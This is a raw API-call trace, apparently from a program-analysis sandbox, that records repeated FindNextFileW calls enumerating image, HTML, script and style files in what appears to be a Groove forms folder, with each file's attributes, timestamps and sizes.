	[0052.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="BG_GRE~1.GIF")) returned 1
	[0052.589] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="BG_GRO~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="BG_LIG~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="BG_OLI~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="BG_PRE~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="BG_SLA~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="BG_TEX~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="BG_VEL~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left.gif", cAlternateFileName="BUTTON~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_disable.gif", cAlternateFileName="BUTTON~2.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left_over.gif", cAlternateFileName="BUAC31~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid.gif", cAlternateFileName="BUTTON~3.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_disable.gif", cAlternateFileName="BUABE1~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_mid_over.gif", cAlternateFileName="BU1E84~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right.gif", cAlternateFileName="BU7DFA~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_disable.gif", cAlternateFileName="BUC143~1.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_right_over.gif", cAlternateFileName="BUTTON~4.GIF")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FieldTypePreview", cAlternateFileName="FIELDT~1")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.ICO", cAlternateFileName="")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBlankPage.html", cAlternateFileName="FORMSB~1.HTM")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsBrowserUpgrade.html", cAlternateFileName="FORMSB~2.HTM")) returned 1
	[0052.590] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x805, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsDoNotTrust.html", cAlternateFileName="FORMSD~1.HTM")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc96, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePage.html", cAlternateFileName="FORMSH~1.HTM")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618c8a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x15fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageScript.js", cAlternateFileName="FORMSH~1.JS")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5291c2f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsHomePageStyle.css", cAlternateFileName="FORMSH~1.CSS")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPreviewTemplate.html", cAlternateFileName="FORMSP~2.HTM")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsPrintTemplate.html", cAlternateFileName="FORMSP~1.HTM")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51d354f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsTemplates", cAlternateFileName="FORMST~1")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="FORMSV~1.HTM")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="FORMSV~1.JPG")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="FORMSV~1.BMP")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewFrame.html", cAlternateFileName="FORMSV~2.HTM")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormToolImages.jpg", cAlternateFileName="FORMTO~1.JPG")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x167d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveFormsMetaData.xml", cAlternateFileName="GROOVE~1.XML")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MENUS.JS", cAlternateFileName="")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5836a590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_arrow.gif", cAlternateFileName="MENU_A~1.GIF")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d273e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEARCH.GIF", cAlternateFileName="")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x31, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACER.GIF", cAlternateFileName="")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc118, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x103f, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="UTILIT~1.JS")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="VALIDA~1.JS")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.CSS", cAlternateFileName="")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.ICO", cAlternateFileName="")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x505b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.JS", cAlternateFileName="")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEWBY.GIF", cAlternateFileName="")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewDblClick.js", cAlternateFileName="VIEWDB~1.JS")) returned 1
